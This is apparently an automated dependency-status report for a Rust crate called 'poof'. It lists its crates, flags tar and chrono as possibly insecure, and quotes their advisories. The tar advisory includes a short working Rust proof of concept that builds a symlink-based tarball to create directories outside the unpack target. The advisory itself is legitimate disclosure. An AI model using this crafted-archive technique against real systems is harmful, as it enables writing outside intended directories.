This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.
poof(21 total, 3 outdated, 1 possibly insecure)
| Crate | Required | Latest | Status |
|---|---|---|---|
| clap | ^4.5 | 4.5.40 | up to date |
| dirs | ^6.0 | 6.0.0 | up to date |
| errno | ^0.3 | 0.3.13 | up to date |
| lazy_static | ^1.5.0 | 1.5.0 | up to date |
| libc | ^0.2 | 0.2.174 | up to date |
| reqwest | ^0.12.20 | 0.12.20 | up to date |
| serde | ^1.0 | 1.0.219 | up to date |
| zip | ^3.0 | 4.2.0 | out of date |
| tar ⚠️ | ^0.4 | 0.4.44 | maybe insecure |
| flate2 | ^1.1 | 1.1.2 | up to date |
| xz2 | ^0.1 | 0.1.7 | up to date |
| bzip2 | ^0.5 | 0.6.0 | out of date |
| sevenz-rust2 | ^0.14.1 | 0.15.2 | out of date |
| log | ^0.4.27 | 0.4.27 | up to date |
| env_logger | ^0.11.8 | 0.11.8 | up to date |
| clap-verbosity-flag | ^3.0.3 | 3.0.3 | up to date |
| regex | ^1.11.1 | 1.11.1 | up to date |
| rayon | ^1.10.0 | 1.10.0 | up to date |
| semver | ^1.0.26 | 1.0.26 | up to date |
| anyhow | ^1.0 | 1.0.98 | up to date |
| self_update | ^0.42.0 | 0.42.0 | up to date |
(2 total, all up-to-date)
| Crate | Required | Latest | Status |
|---|---|---|---|
| tempfile | ^3 | 3.20.0 | up to date |
| serial_test | ^3 | 3.2.0 | up to date |
(3 total, 1 possibly insecure)
| Crate | Required | Latest | Status |
|---|---|---|---|
| build_cfg | ^1.1.0 | 1.1.0 | up to date |
| chrono ⚠️ | ^0.4 | 0.4.41 | maybe insecure |
| glibc_version | ^0.1.2 | 0.1.2 | up to date |
chrono: Potential segfault in `localtime_r` invocationsUnix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.
No workarounds are known.
tar: Links in archive can create arbitrary directoriesWhen unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering
and reporting this, and Nikhil Benesch (@benesch) for the fix!